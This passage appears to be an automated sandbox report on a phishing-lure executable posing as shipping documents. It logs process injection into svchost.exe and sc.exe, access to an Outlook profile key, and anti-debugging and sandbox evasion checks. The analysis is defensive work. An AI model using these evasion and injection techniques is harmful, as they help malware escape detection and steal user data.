                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32Jump to behavior
                Source: Window RecorderWindow detected: More than 3 window changes detected
                Source: C:\Windows\SysWOW64\sc.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
                Source: AWB_5771388044 Documente de expediere.exeStatic file information: File size 1226240 > 1048576
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: dnqNlDRmfuUrS.exe, 00000005.00000000.2173780390.000000000069E000.00000002.00000001.01000000.00000005.sdmp, dnqNlDRmfuUrS.exe, 00000007.00000002.2914995119.000000000069E000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1664353093.00000000041C0000.00000004.00001000.00020000.00000000.sdmp, AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1665181590.0000000004020000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2248567406.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2248567406.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2155473181.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2156904567.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000006.00000002.2916643666.00000000033AE000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000006.00000002.2916643666.0000000003210000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000006.00000003.2250045957.0000000003067000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000006.00000003.2248479905.0000000002E95000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: sc.pdbUGP source: svchost.exe, 00000001.00000003.2216853278.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2216942488.0000000002A3B000.00000004.00000020.00020000.00000000.sdmp, dnqNlDRmfuUrS.exe, 00000005.00000003.2213928575.000000000103B000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1664353093.00000000041C0000.00000004.00001000.00020000.00000000.sdmp, AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1665181590.0000000004020000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000002.2248567406.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2248567406.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2155473181.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2156904567.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, sc.exe, sc.exe, 00000006.00000002.2916643666.00000000033AE000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000006.00000002.2916643666.0000000003210000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 00000006.00000003.2250045957.0000000003067000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000006.00000003.2248479905.0000000002E95000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: sc.pdb source: svchost.exe, 00000001.00000003.2216853278.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2216942488.0000000002A3B000.00000004.00000020.00020000.00000000.sdmp, dnqNlDRmfuUrS.exe, 00000005.00000003.2213928575.000000000103B000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: sc.exe, 00000006.00000002.2915308329.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000006.00000002.2917111114.000000000383C000.00000004.10000000.00040000.00000000.sdmp, dnqNlDRmfuUrS.exe, 00000007.00000002.2916712819.000000000341C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2540186843.000000000543C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: sc.exe, 00000006.00000002.2915308329.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000006.00000002.2917111114.000000000383C000.00000004.10000000.00040000.00000000.sdmp, dnqNlDRmfuUrS.exe, 00000007.00000002.2916712819.000000000341C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2540186843.000000000543C000.00000004.80000000.00040000.00000000.sdmp
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D1E01E LoadLibraryA,GetProcAddress,0_2_00D1E01E
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D2C09E push esi; ret 0_2_00D2C0A0
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D2C187 push edi; ret 0_2_00D2C189
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D6C8BC push esi; ret 0_2_00D6C8BE
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D26B05 push ecx; ret 0_2_00D26B18
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D4B2B1 push FFFFFF8Bh; iretd 0_2_00D4B2B3
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D2BDAA push edi; ret 0_2_00D2BDAC
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D2BEC3 push esi; ret 0_2_00D2BEC5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004E184C push E711456Eh; retf 1_2_004E1809
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004F6063 push esi; retf 1_2_004F606E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004E21E1 push ss; retf 1_2_004E21E4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004F4992 push ebp; iretd 1_2_004F49B6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004F7A42 push ss; iretd 1_2_004F7A4C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004E73CC push ds; iretd 1_2_004E7424
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004E73D3 push ds; iretd 1_2_004E7424
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004F63A6 push 0000005Ch; iretd 1_2_004F63B2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004E3440 push eax; ret 1_2_004E3442
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004F8451 pushad ; iretd 1_2_004F8474
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004F1E78 push esp; ret 1_2_004F1E79
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004E8601 push ds; retf 1_2_004E8602
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004EAE01 push cs; ret 1_2_004EAE02
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004EA763 push 689E092Ah; ret 1_2_004EA775
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030309AD push ecx; mov dword ptr [esp], ecx1_2_030309B6
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0321225F pushad ; ret 6_2_032127F9
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032127FA pushad ; ret 6_2_032127F9
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032409AD push ecx; mov dword ptr [esp], ecx6_2_032409B6
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0321283D push eax; iretd 6_2_03212858
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008B61FC push cs; iretd 6_2_008B6211
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008BA139 push esi; ret 6_2_008BA14B
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008BA140 push esi; ret 6_2_008BA14B
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008BA2F3 push es; retf 6_2_008BA306
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008B45FF push ss; iretd 6_2_008B4609
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeProcess created: C:\Windows\SysWOW64\sc.exe "C:\Windows\SysWOW64\sc.exe"
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D68111 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_00D68111
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D1EB42 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_00D1EB42
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D2123A __initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00D2123A
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Switches to a custom stack to bypass stack traces
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeAPI/Special instruction interceptor: Address: 1767AB4
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FFE2220D324
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FFE2220D7E4
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FFE2220D944
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FFE2220D504
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FFE2220D544
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FFE2220D1E4
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FFE22210154
                Source: C:\Windows\SysWOW64\sc.exeAPI/Special instruction interceptor: Address: 7FFE2220DA44
                Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
                Source: AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1656709984.00000000017B6000.00000004.00000020.00020000.00000000.sdmp, AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1656812884.000000000182D000.00000004.00000020.00020000.00000000.sdmp, AWB_5771388044 Documente de expediere.exe, 00000000.00000002.1667793967.000000000182D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCMON.EXETH3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0307096E rdtsc 1_2_0307096E
                Source: C:\Windows\SysWOW64\sc.exeWindow / User API: threadDelayed 1394Jump to behavior
                Source: C:\Windows\SysWOW64\sc.exeWindow / User API: threadDelayed 8578Jump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeEvaded block: after key decisiongraph_0-94170
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_0-94992
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeAPI coverage: 4.4 %
                Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.7 %
                Source: C:\Windows\SysWOW64\sc.exeAPI coverage: 2.6 %
                Source: C:\Windows\SysWOW64\sc.exe TID: 3152Thread sleep count: 1394 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\sc.exe TID: 3152Thread sleep time: -2788000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\sc.exe TID: 3152Thread sleep count: 8578 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\sc.exe TID: 3152Thread sleep time: -17156000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeLast function: Thread delayed
                Source: C:\Windows\SysWOW64\sc.exeLast function: Thread delayed
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D46CA9 GetFileAttributesW,FindFirstFileW,FindClose,0_2_00D46CA9
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D460DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,0_2_00D460DD
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D463F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,0_2_00D463F9
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D4EB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00D4EB60
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D4F5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00D4F5FA
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D4F56F FindFirstFileW,FindClose,0_2_00D4F56F
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D51B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00D51B2F
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D51C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00D51C8A
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D51F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00D51F94
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008BCA10 FindFirstFileW,FindNextFileW,FindClose,6_2_008BCA10
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D1DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_00D1DDC0
                Source: sc.exe, 00000006.00000002.2915308329.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp, dnqNlDRmfuUrS.exe, 00000007.00000002.2915841041.000000000154F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                Source: firefox.exe, 00000008.00000002.2541850482.0000022B452CC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlloo
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeAPI call chain: ExitProcess graph end nodegraph_0-94281
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeAPI call chain: ExitProcess graph end nodegraph_0-93601
                Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0307096E rdtsc 1_2_0307096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004F7DA3 LdrLoadDll,1_2_004F7DA3
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D56AAF BlockInput,0_2_00D56AAF
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D03D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_00D03D19
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D33920 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,IsDebuggerPresent,OutputDebugStringW,0_2_00D33920
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D1E01E LoadLibraryA,GetProcAddress,0_2_00D1E01E
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_01766700 mov eax, dword ptr fs:[00000030h]0_2_01766700
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_01767D20 mov eax, dword ptr fs:[00000030h]0_2_01767D20
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_01767D80 mov eax, dword ptr fs:[00000030h]0_2_01767D80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306A30B mov eax, dword ptr fs:[00000030h]1_2_0306A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306A30B mov eax, dword ptr fs:[00000030h]1_2_0306A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306A30B mov eax, dword ptr fs:[00000030h]1_2_0306A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302C310 mov ecx, dword ptr fs:[00000030h]1_2_0302C310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03050310 mov ecx, dword ptr fs:[00000030h]1_2_03050310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]1_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]1_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]1_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]1_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]1_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]1_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]1_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]1_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]1_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]1_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]1_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]1_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]1_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]1_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]1_2_030B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B035C mov eax, dword ptr fs:[00000030h]1_2_030B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B035C mov eax, dword ptr fs:[00000030h]1_2_030B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B035C mov eax, dword ptr fs:[00000030h]1_2_030B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B035C mov ecx, dword ptr fs:[00000030h]1_2_030B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B035C mov eax, dword ptr fs:[00000030h]1_2_030B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B035C mov eax, dword ptr fs:[00000030h]1_2_030B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030FA352 mov eax, dword ptr fs:[00000030h]1_2_030FA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D8350 mov ecx, dword ptr fs:[00000030h]1_2_030D8350
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D437C mov eax, dword ptr fs:[00000030h]1_2_030D437C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302E388 mov eax, dword ptr fs:[00000030h]1_2_0302E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302E388 mov eax, dword ptr fs:[00000030h]1_2_0302E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302E388 mov eax, dword ptr fs:[00000030h]1_2_0302E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305438F mov eax, dword ptr fs:[00000030h]1_2_0305438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305438F mov eax, dword ptr fs:[00000030h]1_2_0305438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03028397 mov eax, dword ptr fs:[00000030h]1_2_03028397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03028397 mov eax, dword ptr fs:[00000030h]1_2_03028397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03028397 mov eax, dword ptr fs:[00000030h]1_2_03028397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030EC3CD mov eax, dword ptr fs:[00000030h]1_2_030EC3CD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303A3C0 mov eax, dword ptr fs:[00000030h]1_2_0303A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303A3C0 mov eax, dword ptr fs:[00000030h]1_2_0303A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303A3C0 mov eax, dword ptr fs:[00000030h]1_2_0303A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303A3C0 mov eax, dword ptr fs:[00000030h]1_2_0303A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303A3C0 mov eax, dword ptr fs:[00000030h]1_2_0303A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303A3C0 mov eax, dword ptr fs:[00000030h]1_2_0303A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030383C0 mov eax, dword ptr fs:[00000030h]1_2_030383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030383C0 mov eax, dword ptr fs:[00000030h]1_2_030383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030383C0 mov eax, dword ptr fs:[00000030h]1_2_030383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030383C0 mov eax, dword ptr fs:[00000030h]1_2_030383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B63C0 mov eax, dword ptr fs:[00000030h]1_2_030B63C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DE3DB mov eax, dword ptr fs:[00000030h]1_2_030DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DE3DB mov eax, dword ptr fs:[00000030h]1_2_030DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DE3DB mov ecx, dword ptr fs:[00000030h]1_2_030DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DE3DB mov eax, dword ptr fs:[00000030h]1_2_030DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D43D4 mov eax, dword ptr fs:[00000030h]1_2_030D43D4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D43D4 mov eax, dword ptr fs:[00000030h]1_2_030D43D4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]1_2_030403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]1_2_030403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]1_2_030403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]1_2_030403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]1_2_030403E9
